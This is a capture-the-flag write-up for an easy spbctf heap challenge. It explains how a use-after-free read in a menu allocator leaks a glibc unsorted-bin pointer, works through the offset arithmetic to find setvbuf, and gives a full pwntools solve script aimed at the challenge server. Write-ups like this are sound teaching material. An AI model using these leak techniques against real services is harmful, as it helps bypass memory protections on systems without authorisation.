Where Is Libc
Where Is Libc
Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-07-03 | Status: Solved Techniques: main_arena_offset_calculation, uaf_read, unsorted_bin_libc_leak
Summary
Task: heap menu allocator with UAF read — freed chunks still printed via %s, leaking unsorted bin fd pointer (main_arena+0x60). Solution: allocate large chunk (>tcache), free to unsorted bin, read leaked libc pointer, compute setvbuf address.
Where Is Libc — spbctf
Description
"Libc is Waldo now. Where is it in the memory?"
Remote: nc 109.233.56.90 11737
A 64-bit PIE ELF binary (mc7.elf) with source code (mc7.c) and the target libc (libc.so.6, glibc 2.27 Ubuntu). The program is a simple heap menu allocator with three operations: allocate, free, and "Get flag" (which requires providing the runtime address of setvbuf() in libc).
Analysis
Binary protections
Full RELRO, Stack Canary, NX, PIE — but none of these matter since the challenge only requires an information leak, not code execution.
Source code review
The program maintains arrays CHUNKS[32], CHUNK_SIZES[32], and CHUNK_TAKEN[32]. The main loop prints all non-NULL chunks every iteration:
c read-only • copy allowedprintf("%s chunk %d) size %d, ptr %p -> '%s'\n", CHUNK_TAKEN[i] ? "Allk" : "FREE", i, CHUNK_SIZES[i], CHUNKS[i], CHUNKS[i]);
Vulnerability: Use-After-Free read
On free(), the code sets CHUNK_TAKEN[i] = 0 but does NOT null out CHUNKS[i]:
c read-only • copy allowedfree(CHUNKS[num]); CHUNK_TAKEN[num] = 0; // CHUNKS[num] is NOT set to NULL!
Since CHUNKS[i] remains non-NULL, the main loop continues printing the freed chunk's content via %s. For chunks in the unsorted bin, the first 8 bytes (the fd pointer) point to main_arena + 0x60 inside libc — giving us a direct libc address leak.
Key insight: unsorted bin mechanics
When a chunk larger than tcache maximum (~0x408 request size) is freed, it goes directly to the unsorted bin. The unsorted bin is a doubly-linked list anchored at main_arena + 0x60. When only one chunk is in the unsorted bin, both its fd and bk pointers point to main_arena + 0x60.
Reading the freed chunk's content via %s leaks these pointer bytes as a string.
Offset calculation (glibc 2.27-3ubuntu1.2)
| Symbol | Offset |
|---|---|
__malloc_hook | 0x3ebc30 |
main_arena | 0x3ebc40 (= __malloc_hook + 0x10) |
| Leaked value (unsorted bin fd) | 0x3ebca0 (= main_arena + 0x60) |
setvbuf | 0x81360 |
Solution
Step 1: Leak libc via unsorted bin
- Allocate a large chunk (size
0x500, bigger than tcache max) at index 0. - Allocate a small guard chunk (size
0x30) at index 1 to prevent consolidation with the top chunk. - Free chunk 0 — it goes to the unsorted bin. Its
fdpointer now containsmain_arena + 0x60. - The menu loop prints the freed chunk's content via
%s, leaking thefdpointer bytes.
Step 2: Compute setvbuf address
libc_base = leaked_value - 0x3ebca0
setvbuf_addr = libc_base + 0x81360
Step 3: Submit answer
Choose (G)et flag. The program provides a hint (last 3 hex digits of setvbuf, which is 360). Submit the full hex address — if correct, the flag is printed.
Solve script
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * context.arch = 'amd64' libc = ELF('libc.so.6', checksec=False) MAIN_ARENA = 0x3ebc40 LEAK_OFF = MAIN_ARENA + 0x60 # unsorted-bin fd -> main_arena+0x60 SETVBUF_OFF = libc.sym['setvbuf'] HOST, PORT = '109.233.56.90', 11737 def start(): if args.LOCAL: return process(['./ld-linux-x86-64.so.2', './mc7.elf'], env={'LD_PRELOAD': './libc.so.6'}) return remote(HOST, PORT) io = start() def alloc(size): io.sendlineafter(b'> ', b'a') io.sendline(str(size).encode()) def free(idx): io.sendlineafter(b'> ', b'f') io.sendline(str(idx).encode()) # Allocate a large chunk that won't fit into tcache (tcache max ~0x408 request). # Allocate a guard chunk after it so the freed chunk doesn't merge with top. alloc(0x500) # index 0 - target alloc(0x30) # index 1 - guard against top consolidation # Free the large chunk -> goes to unsorted bin; fd/bk point to main_arena+0x60 free(0) # Next menu print will show FREE chunk 0 content via %s == leaked libc pointer io.recvuntil(b'FREE chunk 0)') line = io.recvline() log.info('leak line: %r' % line) # format: size ..., ptr 0x... -> 'LEAKED' m = line.split(b"-> '")[1] leaked = m.split(b"'")[0] # pad to 8 bytes leak_val = u64(leaked.ljust(8, b'\x00')) log.success('leaked = %#x' % leak_val) libc_base = leak_val - LEAK_OFF log.success('libc base = %#x' % libc_base) assert libc_base & 0xfff == 0, 'libc base not page aligned!' setvbuf_addr = libc_base + SETVBUF_OFF log.success('setvbuf = %#x' % setvbuf_addr) # Get flag io.sendlineafter(b'> ', b'G') io.recvuntil(b'...') hint = io.recvline().strip() log.info('hint tail: %r' % hint) # verify our low 3 nibbles match assert (setvbuf_addr & 0xfff) == (SETVBUF_OFF & 0xfff) io.sendlineafter(b'> ', hex(setvbuf_addr)[2:].encode()) io.recvuntil(b'flag') print(io.recvall(timeout=5).decode(errors='replace'))